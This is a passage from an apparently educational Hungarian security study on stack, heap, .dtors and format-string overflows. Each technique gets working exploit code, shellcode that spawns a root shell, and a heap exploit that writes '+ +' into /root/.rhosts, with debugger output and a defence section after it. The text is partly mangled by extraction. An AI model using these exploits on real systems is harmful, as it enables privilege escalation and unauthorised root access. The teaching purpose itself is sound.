"x31xc0" "xb0xcc" "xcdx80" "x31xd2" "x52" "x68x2fx2fx73x68" "x68x2fx62x69x6e" "x89xe3" "x52" "x53" "x89xe1" "x8dx42x0b" "xcdx80" "xc3" ; // // // // // // // // // // // // // // // // // // // // // sub sub xor mov int sub sub xor mov int xor push push push mov push push mov lea int ret %ebx,%ebx %ecx,%ecx %eax,%eax $0xcb,%al $0x80 %ebx,%ebx %ecx,%ecx %eax,%eax $0xcc,%al $0x80 %edx,%edx %edx $0x68732f2f $0x6e69622f %esp,%ebx %edx %ebx %esp,%ecx 0xb(%edx),%eax $0x80 int main(void) { char buffer[LEN]; long retaddr = RET; int i; for(i = 0; i < LEN; i++) *(buffer+i) = NOP; for(i = 0; i < OFFSET; i+=4) *(long )&buffer[i] = retaddr; memcpy(buffer+(LEN-sizeof(shell))-1,shell,sizeof(shell)); execl("./sample","sample",buffer,NULL); return 0; } SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest,

Angol utca 38. Tel / Fax: (1) 2221222 20. oldal, összesen: 40 O v er f l ow A hibás programot effektív 0 GID jogokkal felruházva, az exploit kódot lefordítva és futtatva a következő eredményt kapjuk: Minta $ ls –la sample -rwxrwsr-x 1 root root $ id uid=1000(user),gid=1000(user) $ ./exploit sh-2.05# id uid=0(root), gid=0(root) 11845 Mar 3 22:05 sample 6.13 Védekezés A tanulmány történelmi áttekintés részéből kiderült, hogy ez a támadási forma a legrégebbi ismert overflow típus. Ennek megfelelően rengeteg védekezési módszer került kidolgozásra (és rengeteg módszer a kikerülésükre). A legegyszerűbben alkalmazható védekezés a Frame Pointer Concept elkerülése, amelyet a GCC –fomit-frame-pointer paraméterével érhetünk el. Az ilyen típusú védekezésre létezik támadási mód, tehát alkalmazása önmagában nem ad biztonságot. Másik módszer a rendszer Stack memóriaterületének megfelelő védelme, mely szerint letiltjuk a

Stack memóriaterületen való kódfuttatást (StackGuard12). Ennek a védekezési módnak is létezik több megvalósítása, amelyek közül némelyre létezik támadási módszer is. Meg kell jegyezni, hogy ez a megoldás a rendszer teljesítményét körülbelül 25%-kal rontja, mert a rendszerkönyvtárak is használják a Stack területen való kódfuttatást optimalizációs célzattal. Érdekes próbálkozás a napjainkban kidolgozott védekezési módszer, mely szerint a felhasználói memóriák címzését úgy alakítja ki a rendszer, hogy az mindenképpen tartalmazzon „” karaktert, amely lehetetlenné teszi külső programból idegen cím bejuttatását. A legegyszerűbb védekezési módszer azonban mindenképpen a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 12 Immunix StackGuard: http://www.cseogiedu/DISC/projects/immunix/StackGuard/ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft.

H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 21. oldal, összesen: 40 O v er f l ow 6.2 Heap Overflow 6.21 A Heap felülírásának módja A Heap memóriaterületen a dinamikusan lefoglalt memóriaterületeken tárolt adatok helyezkednek el. Ezen a területen helyezkedik el tehát minden olyan változó, lista, láncolt lista, amik mérete, tartalmaz, jelentése dinamikusan változhat. Nem rendelkezik tehát olyan védelemmel amely a változók tartalmát megvédené egy másik változótól. Lássunk erre egy példát; Kód #include <stdio.h> #include <stdlib.h> #define SIZE 16 int main(int argc, char *argv[]) { char *buffer1; //dinamikusan foglalt terulet -> HEAP char *buffer2; u long diff; // A ket cim kozotti kulonbseg buffer1 = (char *)malloc(SIZE); buffer2 = (char *)malloc(SIZE); diff = (u long)buffer2 - (u long)buffer1; printf("buffer1 cime: %p buffer2 cime: %p " "A ketto kozotti kulonbseg: 0x%x ", buffer1,buffer2,diff); //

Toltsuk fel a buffert A karakterrel, es zarjuk le memset(buffer2,A,SIZE-1); buffer2[SIZE-1] = ; printf("Az overflow elott a buffer2: %s ",buffer2); // Az overflow memset(buffer1,B,(u int)(diff+8)); printf("Az overflow utan a buffer2: %s ",buffer2); return 0; } SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 22. oldal, összesen: 40 O v er f l ow A buffer1 és a buffer2 dinamikusan foglalt 16 bájt hosszú, a Heap memóriaterületen található változók. Tudjuk, hogy a buffer2 területet később foglaltuk le, tehát hátrébb helyezkedik el a memóriában. A program futás közben kiszámolja a két terület közötti különbséget, majd a buffer1 memóriaterületre írva megváltoztatja a buffer2 memóriaterület értékét is. Minta buffer1 cime: 0x8049768 buffer2 cime: 0x8049780 A ketto kozotti kulonbseg: 0x18 Az overflow elott a buffer2: AAAAAAAAAAAAAAA Az overflow utan a buffer2:

BBBBBBBBAAAAAAA 6.22 Példa program Tételezzünk fel egy olyan helyzetet, hogy egy program két típusú kihasználható hibát tartalmaz; egy stack típusú, valamint egy heap típusú overflow lehetőséget. Ebből a stack overflow kihasználhatatlan, mert a rendszer védve van az ilyen típusú támadással szemben, a stack területen nem futhat kód. Ennek megfelelően nem is tudunk olyan helyzetet teremteni, hogy a programot olyan mértékű hibás működésre bírjuk, amellyel a számunkra közvetlen hozzáférést biztosítson a rendszerhez. Pontosan egy ilyen hibát tartalmaz a példaprogramunk: egy előre meghatározott fájlba beleírja a konzolról kapott karaktersort. Kód #include #include #include #include #include <stdio.h> <stdlib.h> <strings.h> <errno.h> <unistd.h> #define BUFFER 16 int main(int argc, char *argv[]) { static char buf[BUFFER], *tmpfile; FILE *fp; tmpfile = "/tmp/.tmpfile"; printf("Kerek egy

stringet:"); gets(buf); if( (fp = fopen(tmpfile,"w")) == NULL) { printf("Error opening file %s ",tmpfile); exit(-1); } fputs(buf,fp); fclose(fp); return 0; } SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 23. oldal, összesen: 40 O v er f l ow 6.23 A hiba kihasználása Vizsgáljuk meg a program működését! Látjuk, hogy van egy Stack overflow lehetőség a „gets” utasításnál, hiszen egy 16 bájt hosszú memóriaterületre bármely méretű adatot be tudunk juttatni. Ellenben az élődefiníciók során meghatároztuk, hogy a Stack overflow nem kivitelezhető. Látjuk, hogy a program a „/tmp/.tmpfile” nevű fájlba írja az általunk bevitt karaktersort Látjuk továbbá, hogy mind a fájl nevét, mind az általunk bevitt karaktersort tartalmazó változó ugyanazon memóriaterületen található. Minta (gdb) r AAAAAAAAAA Starting program sample AAAAAAAAAA (gdb) p

&buf $1 = (char (*)[16]) 0x80497c0 (gdb) p &tmpfile $2 = (char *) 0x80497d0 (gdb) p (u long)&tmpfile - (u long)&buf $3 = 16 Kerek egy stringet:AAAAAAAAAAAAAAAAAAAA (gdb) p tmpfile $4 = 0x41414141 <Address 0x41414141 out of bounds> A tesztelések során megállapítottuk, hogy 16 bájt hosszúságú karaktersor bevitelével sikeresen felülírtuk a megnyitandó fájl nevét tartalmazó memóriaterületre mutató területet sikeresen felülírtuk. Feltételezzük tehát, hogy egy paraméterként átadott (argv[1]) memóriaterület címére sikeresen át tudjuk írni a megnyitandó fájl nevére mutató memóriaterülete. Nehézséget az okoz csupán, hogy a fájl tartalma az lesz, amivel felülírjuk a megfelelő területeket. Így nagyon körültekintően kell megformáznunk a karaktersorozatokat. Jó ötletnek tűnhet, ha a kiszemelt cél fájl a „/root/rhosts” nevű fájl, aminek „+ +” tartalmával számunkra megfelelővé alakítjuk át a rendszer

hozzáférési modelljét; bármely távoli gépről jelszó használata nélkül jelentkezhetünk be rendszergazdai jogosultságokkal. Nehezíti a feladatot, hogy a hiba kihasználására a Heap memóriaterületet kell felülírni, amelynek címei változhatnak. Tudjuk, hogy a címek a Stack szegmensen találhatóak, és hogy a Stack szegmens címe mindig az indító program után található. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 24. oldal, összesen: 40 O v er f l ow Tehát, ha a hibás programot indító (jelen esetben maga az exploit) Stack szegmensének a címét meg tudjuk szerezni, az attól való eltolással (OFFSET) meg tudjuk találni a megfelelő felülírandó területet. Az exploit kódban használt változók; a OFFSET - Az eltolási érték (Ennyi bájt szükséges ahhoz, hogy felülírjuk a megfelelő címeket). a VULNPROG - A támadott program. a VULNFILE - A támadott programban

felülírni kívánt fájl neve. a STRING - A támadott fájl kívánt tartalma. a ADDRLEN - A címek tárolására használt memória mérete (4 bájt). a Mainbuf - A közvetlenül elindítható formázott karaktersorozat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 25. oldal, összesen: 40 O v er f l ow Kód #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define #define #define #define #define STRING "+ + # " VULNFILE "/root/.rhosts" OFFSET 16 ADDRLEN 4 VULNPROG "./heap vuln" u long getesp() { asm ("mov %esp,%eax"); // return ESP } int main(int argc, char *argv[]) { u long addr; char buffer[OFFSET+ADDRLEN+1]; int i; char *mainbuf; if(argc != 2) { printf("Usage: %s <OFFSET> ",argv[0]); exit(-1); } addr = getesp() + atoi(argv[1]); printf("Using Address %p ",addr); memset(buffer,A,OFFSET+ADDRLEN);

memcpy(buffer,STRING,strlen(STRING)); *(long )&buffer[OFFSET] = addr; buffer[OFFSET+ADDRLEN] = ; mainbuf = (char *)malloc( strlen(buffer) + strlen(VULNPROG) + strlen(VULNFILE) + 13); sprintf(mainbuf,"echo %s | %s %s",buffer,VULNPROG,VULNFILE); system(mainbuf); free(mainbuf); return 0; } Mivel a támadott program nem tartalmaz olyan – sikeres támadás esetén megjelenítendő – karaktersort, amellyel automatizálni lehetne a helyes OFFSET érték kitalálását, nekünk kell ezt megtenni manuálisan. Minta $ ./exploit 460 Using Address 0xbffffc58 Kerek egy stringet: Error opening file ot/.rhosts $ ./heap expl 457 Kerek egy stringet: $ cat /root/.rhosts + + # AAAAAAAAA $ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 26. oldal, összesen: 40 O v er f l ow 6.24 Védekezés Természetesen a Heap típusú overflow ellen is dolgoztak ki védelmez, amelyet a HeapGuard nevű termék

használatával aktiválhatunk. Ez az eljárás sem vezet ugyanakkor teljes védelemhez a hibatípus ellen. Érdekes módszer, hogy megnehezítjük a támadó dolgát. Ezt úgy érhetjük el, hogy egy véletlen nagyságú memóriaterületet minden esetben lefoglalunk a program indulásakor így majdnem lehetetlenné téve a helyes OFFSET érték kitalálását. A biztos védekezést egyedül a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 6.3 .dtors Overflow Amint azt a fentiekben láthattuk, minden ELF típusú program rendelkezik több szekcióval, amiknek meghatározott feladatai vannak. A tervezés során a fejlesztők megalkottak két olyan területet, amelyek biztosítják, hogy az operációs rendszer rendesen felépíti a futtató környezetet, és le tudja kezelni a visszatérési értékeket, és így egy hibás program működés nem okozhatja az egész rendszer halálát. Ez a két szekció a „ctors” és a

„dtors” memóriaterület A két memóriaterület minden esetben lefut, az első a konstruktor, míg a második a destruktor szerepét tölti be. 6.31 A dtors felülírása A hibák kihasználása nem egyszerű feladat. A memóriaterület működésére a következő példaprogram álljon itt szemléltetésül; Kód #include <stdio.h> #include <stdlib.h> static void start(void) attribute ((constructor)); static void stop(void) attribute ((destructor)); int main(int argc, char *argv[]) { printf("start == %p ", start); printf("stop == %p ", stop); exit(EXIT SUCCESS); } void start(void) { printf("hello world! "); } void stop(void){ printf("goodbye world! "); } SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 27. oldal, összesen: 40 O v er f l ow A program statikusan definiál két eljárást – a konstruktort és a destruktort – majd a fő

programciklusban kiírja a két függvény memóriacímét. Látni fogjuk, hogy a start() függvény a program elején, míg a stop() függvény a program végén le fog futni: Minta hello world! start == 0x8048480 stop == 0x80484a0 goodbye world! Ha most a lefordított – linkelt – programunk fejlécében az „objdump” program segítségével megnézzük, hogy a „.ctors” és „dtors” területeknek mi a címe, látni fogjuk, hogy azok megegyeznek a program által kiírtakkal: Minta $ objdump -s -j .dtors teszt teszt: file format elf32-i386 Contents of section .dtors: 8049574 ffffffff a0840408 00000000 . Megállapíthatjuk tehát, hogy mind a „.dtors”, mind a „ctors” területek felülírhatóak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 28. oldal, összesen: 40 O v er f l ow 6.32 Példa program A hiba alapja egy egyszerű Stack Overflow is lehet. Feltételezve olyan esetet,

amikor a futó programba ugyan lehetséges bejuttatni egy kód szekvenciát (Shell kódot) de annak a klasszikus Stack Overflow technológiával képtelenség átadni a vezérlést. Ilyen eset lehet akkor, amikor a binárist FPC használat nélkül fordították, és a függvények visszatérési címe nem hozzáférhető, ellenben a program kilépésre kényszeríthető. Kód #include <stdio.h> #include <stdlib.h> #include <sys/types.h> static void sample(void); int main(int argc, char *argv[]) { static u char buf[] = "12345"; if (argc < 2) exit(EXIT FAILURE); strcpy(buf, argv[1]); exit(EXIT SUCCESS); } void sample(void){ printf("Got the .dtors! "); } A fenti program működése egyszerű. Egy statikusan definiált „buf” változóba másolja kontroll nélkül az első parancssori paramétert, majd kilép. Érdekesség, hogy a kód tartalmaz egy sample() függvényt, amely soha nem hívódik meg. 6.33 A hiba kihasználása Vizsgáljuk meg

a program működését kicsit jobban. Jelen esetben a feladatunk annyi, hogy a programot illegális működésre bírjuk. Ezt úgy fogjuk elérni, hogy meghívatjuk vele a sample() függvényt, amely alap esetben soha nem futna le. Ehhez tudnunk kell, hogy hol helyezkedik el a „.dtors” szekció, mi a hívni kívánt függvény címe, és hogyan tudjuk beinjektálni a megfelelő paramétereket a futó kódba. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 29. oldal, összesen: 40 O v er f l ow Minta $ objdump --syms sample | egrep text.*sample 080484e8 l F .text 00000018 sample $ gdb sample (gdb) b main Breakpoint 1 at 0x80484a6 (gdb) r aaaaaaaaaa Starting program: sample aaaaaaaaaa Breakpoint 1, main (argc=2, argv=0xbffff8a4) at sample.c:10 (gdb) x argv[1] 0xbffffa22: 0x61616161 (gdb) x buf 0x8049578 <force to data>: 0x34333231 (gdb) maintenance info sections [] 0x08049568->0x08049580 at

0x00000568: .data ALLOC LOAD DATA 0x08049580->0x080495e8 at 0x00000580: .eh frame ALLOC LOAD DATA 0x080495e8->0x080496b0 at 0x000005e8: .dynamic ALLOC LOAD DATA 0x080496b0->0x080496b8 at 0x000006b0: .ctors ALLOC LOAD DATA 0x080496b8->0x080496c0 at 0x000006b8: .dtors ALLOC LOAD DATA 0x080496c0->0x080496e8 at 0x000006c0: .got ALLOC LOAD DATA [] A fentiek alapján könnyen beláthatjuk, hogy létezik akkora számú karaktersorozat, amely a .dtors szekciót felülírhatja Jelen esetben tudjuk, hogy a kezdő memória cím 0x8049578 amelyből nekünk a 0x80496b8 címig kell túlfuttatnunk az írást. A két hexadecimális szám között 320 a különbség Tudjuk, hogy a .dtors szekció felépítése áll egy 4 byte-os „0xffffffff” fejlécből, és egy „0x00000000” láblécből tehát, hogy 328 karakter beillesztésével felülírjuk a .dtors szekció fejlécét és első címét, amelynek utolsó négy karakterére beillesztve a kívánt címet az azon a címen

található eljárás le fog futni. Feltételezzük, hogy a program hibával fog leállni, hiszen a szekciót lezáró „0x00000000” szekvenciát nem tudjuk beilleszteni, tehát a rendszer végig fogja hívni az összes címen található kódrészletet egészen addig, amíg az hibát nem generál, vagy a szekció végére nem ért. Minta $ ./sample `perl -e print "A"x324; print "xe8x84x04x08";`; Got the .dtors! Segmentation fault (core dumped) $ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 30. oldal, összesen: 40 O v er f l ow Amint látjuk, sikeresen felülírtuk a .dtors szekciót Vizsgáljuk meg ezt közelebbről; Minta $ gdb sample core Program terminated with signal 11, Segmentation fault. #0 0x4000a90b in ?? () (gdb) maintenance info sections [] 0x08049568->0x08049580 at 0x00000568: .data ALLOC LOAD DATA 0x08049580->0x080495e8 at 0x00000580: .eh frame ALLOC LOAD DATA

0x080495e8->0x080496b0 at 0x000005e8: .dynamic ALLOC LOAD DATA 0x080496b0->0x080496b8 at 0x000006b0: .ctors ALLOC LOAD DATA 0x080496b8->0x080496c0 at 0x000006b8: .dtors ALLOC LOAD DATA 0x080496c0->0x080496e8 at 0x000006c0: .got ALLOC LOAD DATA [] (gdb) x/x 0x080496b0 0x80496b0 < CTOR LIST >:0x41414141 (gdb) x/4x 0x080496b8 0x80496b8 < DTOR LIST >:0x41414141 0x080484e8 0x08049500 0x400153d8 Megállapíthatjuk tehát, hogy a demonstráció sikeres volt. Láthatjuk, hogy a shell kódok beinjektálásának több módja is létezik, csak a megfelelő eseményt kell tudni kiválasztani. 6.34 Védekezés A hiba ellen kidolgozott védekezési eljárás nem létezik, ugyanakkor mivel a támadás minden esetben egy másik típusú overflow hibára alapul, eredményeket érhetünk el az azok elleni védekezéssel. Nem jelent biztonságot ugyanakkor ez a módszer, hiszen – mint láttuk – nem feltétlenül szükséges más védekezési módok által felfedezhető

kivételt generálni. A biztos védekezést egyedül a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 31. oldal, összesen: 40 O v er f l ow 6.4 Format String overflow 6.41 Példa program A format string alapú overflow hibák kihasználása nem tekint vissza nagy múltra, mivel a hibát csak nemrégen fedezték fel. Éppen ezért jelenthet hatalmas veszélyt – a programozók abban a tudatban éltek, hogy az általuk követett módszer betartja a biztonságos programozás követelményeit. A következő program nem is tartalmaz olyan hibát, amit az előzőekben taglaltunk volna. Rendesen – méretkorláttal – van kezelve a memóriamásolás, meggátolva a támadót abban, hogy Stack overflow-t kövessen el. Ugyanakkor egy formázott kiíratás során kontrollálható karaktersorozatot írat ki

a képernyőre. Kód #include <stdio.h> int main(int argc, char *argv) { char buf[100]; if(argc != 2) { printf("Usage: %s <param> ",argv[0]); return -1; } stnrcpy(buf,argv[1],100); printf("Got: "); printf(buf); printf(" "); return 0; } 6.42 A hiba kihasználása Ha megvizsgáljuk a programot futás közben, akkor megállapíthatjuk, hogy az eddig megismert módszerekkel nem tudjuk hibás működésre bírni. Csak annyit tudunk kideríteni, hogy mi a „buf” nevű változó memóriacíme, és hogy ezt a változót kontrollálni tudjuk. Ide tudnánk tehát egy shell kódot helyezni Megvizsgálhatjuk, hogy merre található a Stack területen az a cím, ahová a program kilépéskor vissza fog térni, de jelen pillanatban ezt nem tudjuk felülírni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 32. oldal, összesen: 40 O v er f l ow Minta (gdb) x buf 0xbffff658:

0x08049698 (gdb) info registers ebp ebp 0xbffff6bc 0xbffff6bc (gdb) x/4x 0xbffff6bc 0xbffff6bc: 0xbffff6f8 0x4004065f 0x00000002 0xbffff724 (gdb) x 0x4004065f 0x4004065f < libc start main+187>: 0xf9b7e850 A vizsgált program ugyanakkor formázó string nélkül írja ki a kapott adatot, és az ilyen kiíratás egy olyan lehetőséget tár fel a támadónak, amelynek segítségével egy adott memóriacímet tetszőleges értékkel tölthet fel. Könnyen belátható, hogy a már megismert .dtors, vagy akár a Stack-en elhelyezkedő visszatérési érték felülírásával hibás működésre kényszeríthető a program. Nézzük meg ezt a lehetőséget közelebbről; Tudjuk, hogy a formázott kiírások a következőképpen néznek ki a memóriában: printf(„Ez egy szám: %d és ez a címe: %08x ”,i,&i); Stack teteje <&i> <i> fmt Stack alja Tudjuk, hogy a formátum feldolgozása úgy történik, hogy az eljárás byte-onként ellenőrzi a formátumot,

és amennyiben az nem ’%’ jel, egyszerűen kiírja a megfelelő helyre. Ha találkozik a ’%’ jellel, akkor azt a formázó karaktert megpróbálja feldolgozni.13 Minden más esetben a formátum feldolgozó a Stacken lévő mutatóhoz fog nyúlni Azt már láthatjuk, hogy sok érdekességet megtudhatunk így a futó program környezetéről; A Stack memóriaterületet mindenképpen, sőt, bármely területet a memóriában! Tudjuk, hogy a formátum, ami feldolgozódik, a Stack alján foglal helyet, és minden kiírásnál egy byte-ot közeledünk a stack tetejéhez. Tehát ezt 13 Speciális eset a ’%%’ formátum, ami szintén feldolgozásra kerül, de jelentése a kimeneten egy sima ’%’ jel lesz, és a feldolgozó nem nyúl a paraméterlistához. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 33. oldal, összesen: 40 O v er f l ow a pointert a kívánt címre kell állítani valahogyan.

Növeljük tehát a mutatót értelmetlen kiírásokkal, mint például a ’%08x’. A vizsgált program kiírja, hogy mit kapott paraméternek egy „Got” üzenet kíséretében. Ez az üzenet a memóriában van, jelen esetben a 0x08048567 címen; Minta $ ./sample %08x%08x%08x%08x Got: bffff8bc.000000630000000100000000 $ ./sample `perl -e print "x67x85x04x08 %08x.%08x%08x%08x%08x%08x%08x%08x|%s|"` Got: g bffff89f.0000006300000001000000004002d7004011f71d401401f04001532c|Got: | Joggal merül fel a kérdés; Ha olvasni tudjuk a memóriát, vajon tudjuk írni is bármely területét? Nézzük meg! Az írás lehetőségéhez meg kell értenünk pár dolgot; a formázott kiíratás során láttuk, hogy a formázó karaktersor a Stack alján helyezkedik el, és a Stack teteje felé vannak a formátumok feldolgozásához szükséges változók. A feldolgozás során a formátumoknak megfelelően visszanyúl a feldolgozó folyamat a megfelelő értékekért, hogy azokat

behelyettesítse a megfelelő helyre. Fontos, hogy megértsük a „%n” formázó karakter működését Ezzel a formázó utasítással megvizsgálhatjuk, hogy adott ponton hány byte mennyiségű információt írtunk ki. Ezt az információt a paraméterben megadott címre fogja a folyamat visszaírni. Kód #include <stdio.h> int main(int argc, char *argv[]) { int len = 0; printf("Ez 9 byte%hn ",&len); printf("Azaz: %d byte ",len); return 0; } A program futtatása során láthatjuk, hogy a „%n” formázókarakter tökéletesen működött: Minta $ ./teszt Ez 9 byte Azaz: 9 byte $ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 34. oldal, összesen: 40 O v er f l ow A teljes megértéshez szükség van még egy információra; a „%hn” formázó karakter 16 bites címtartománnyal dolgozik, maximális értéke 65536, tehát túlcsordulhat. Ezen információk

birtokában neki is állhatunk kidolgozni a megfelelő formátumot; tudnunk kell, hogy hány bájtot kell a Stack területen tolnunk a megfelelő cím eléréséhez, valamint a megfelelő beillesztendő érték kiszámolásához ismernünk kell az addig kiírt bájtok számát. Az egyszerűség kedvéért a beillesztendő érték legyen négy darab „A” betű, amelynek hexadecimális kódja „0x41414141”, valamint írjuk felül a vizsgált programban az eltárolt visszatérési címet, amely a „0xbffff6c0” címen található. Mivel a címekre beírandó értéket is fel kell dolgoztatni a formátum feldolgozása során, meg kell adnunk egy-egy 4 bájtos változót. Ennek az értéke jelentéktelen, mi a „CCCC” (0x43434343) karaktersort fogjuk használni az egyszerűbb megkülönböztethetőség okán. Keressük meg, hogy mennyit kell csúsztatnunk a Stack mutatón, hogy pontosan meglegyenek a kívánt címek: Minta $ ./sample `perl -e print

"CCCCxc0xf6xffxbfCCCCxc2xf6xffxbf %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x";` Got: CCCCŔö˙żCCCCÂö˙żbffff6580000012b400153d8400159e404d6dad34003783abffff730400081bc34333 2314003003543434343bffff6c043434343bffff6c2 $ A tesztelés során láttuk, hogy 14 darab „%08x” formázó utasítás segítségével megvan minden szükséges cím. Ebből négy jelenti a beillesztendő értéket, és a beillesztő „%hn” formázó utasítást. Mivel egy „%08x” utasítás 4 bájtot csúsztat a Stack-en, tudjuk, hogy 40 byte az OFFSET értéke. Látjuk, hogy 16 byte a feltöltő karaktersorozat a megadott címekkel együtt, valamint hogy a 10 „%08x” utasítás 40 bájtot foglal, tehát amikor eljutunk a kívánt formázó utasításokig, már 96 byte (40+16+40) már kiírásra került. A beillesztendő érték felső 16 bitje 0x4141 Ez a szám decimálisan 16705, amelyből a 96-ot levonva 16609-et kapunk. Ennyi bájtot kell tehát kiírnunk felhasználva

a „CCCC” értékét ahhoz, hogy az első „%hn” formázó utasítás a megadott 2 bájtos címre a kívánt 0x4141 értéket írja. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 35. oldal, összesen: 40 O v er f l ow Próbáljuk meg: Minta $ ./sample `perl -e print "CCCCxc0xf6xffxbfCCCCxc2xf6xffxbf %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%.16609x%hn";` Got: CCCCŔö˙żCCCCÂö˙żbffff6580000012b400153d8400159e404d6dad34003783abffff730400081bc34333 23140030035[] segmentation fault (core dumped) $ gdb sample core Program terminated with signal 11, Segmentation fault. Cannot access memory at address 0x400153b4 #0 0x4141065f in ?? () Megvan a felső 16 bit. Az alsó 16 bit esetünkben szintén 0x4141, aminek a decimális értéke 16705, de ennyi bájtot már kiírtunk. Elő kell tehát idézni a túlcsordulást, ahhoz, hogy a második „%hn” formázó utasítás is 16705 bájt kiírt

karaktert lásson. 65536 bájton kell tehát kiírnunk a második „CCCC” paramétert, hogy a megadott címre ismét 0x4141 kerülhessen: Minta $ ./sample `perl -e print "CCCCxc0xf6xffxbfCCCCxc2xf6xffxbf %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%.16609x%hn%65536x%hn";` Got: CCCCŔö˙żCCCCÂö˙żbffff6580000012b400153d8400159e404d6dad34003783abffff730400081bc34333 23140030035[] segmentation fault (core dumped) $ gdb sample core Program terminated with signal 11, Segmentation fault. Cannot access memory at address 0x400153b4 #0 0x41414141 in ?? () A tesztelés eredményre vezetett. Sikeresen felülírtunk a futó programban egy memóriaterületet egy – a számunkra kívánatos – értékkel. Könnyű belátni tehát, hogy ennek a programozási hibának a kihasználása korlátlan is lehet, hiszen segítségével bármilyen típusú overflow kivitelezhető. 6.43 Védekezés A hiba kihasználása elleni védekezés nagyon sok érdekes ötletet vonultatott fel. A

legérdekesebb ezek közül az a megvalósítás, hogy a rendszer futtatókönyvtáraiban megszüntetik a Format string Overflow típusú hibák kihasználásához szükséges „%n” formázó utasítást. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 36. oldal, összesen: 40 O v er f l ow Ezzel a megoldással valóban elszeparáltuk a hiba forrását, de némely esetben kompatibilitási problémákat okozhat egy olyan alkalmazásban, amely a fenti lehetőséget legálisan kívánná használni. A legegyszerűbb védekezési mód ugyanakkor kétség kívül a hibásan használt utasítások elkerülése. 6.5 Egyéb lehetőségek 6.51 Felülírható memóriaterületek A biztonsági kutatások nagyon sok esetben csak felhívják a figyelmet lehetőségekre, amelyek adott időben nem jelentenek konkrét veszélyt, de magukban hordozzák a hiba lehetőségét, amelyet egy rosszindulatú támadó bizonyos

esetekben már most is ki tud használni. Amennyiben csak és kizárólag az overflow technológiákra koncentrálunk, akkor elmondhatjuk, hogy a következő területek esnek ebbe a veszélyeztetett kategóriába: a Visszatérési értékek a Stack memóriaterületen (Stack overflow) a Függvény címek a Távoli ugrást segítő tárterületek (Longjump buffers) a GOT tábla a .dtors szekció (Dtors Overflow) a atexit hivások a glibc átirányítások a Bármely mutató a kódban (Heap overflow) a A kód maga – a kód szegmens (Realtime hacking) a Eljárás hivatkozási tábla bejegyzések (Procedure Linkage Table – PLT) Láthatjuk tehát, hogy a lehetőségek még korántsem kiaknázottak, csak jelen ismeretekkel nem minden lehetőség kihasználható. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. H-1148 Budapest, Angol utca 38. Tel / Fax: (1) 2221222 37. oldal, összesen: 40 O v er f l ow 6.52 Védekezés A programok – alkalmazások tervezése során

bármennyire is alkalmazzuk a biztonsági fejlesztések standardjait, bérmennyi kontroll objektumot is építünk a kódba mindig alapul áll egy feltételezés; a futtató környezetben megbízunk, azt biztonságos futtató környezetnek kell tekintenünk. Ahhoz, hogy a fejlesztett kódról, a vizsgált – auditált rendszerről (Értékelés Tárgya) elmondhassuk, hogy az valóban biztonságos nem csak messzemenően be kell tartanunk az ajánlásokat14, de mindent meg kell tennünk annak az érdekében, hogy egy esetleges – rajtunk kívülálló - hiba miatt az értékelés tárgyát képező alkalmazás kompromittálhatóvá ne váljék. Amennyiben erre nincs lehetőségünk, a kompromittálódást eliminálnunk kell, le kell választani a rendszer egészéről. Az ilyen típusú védelmek például a Virtuális Gépen való futtatás, a CHROOT környezetek kialakítása, a folyamatok egymástól való elszeparáltsága, a különböző hozzáférési modellek (Mandatory Access

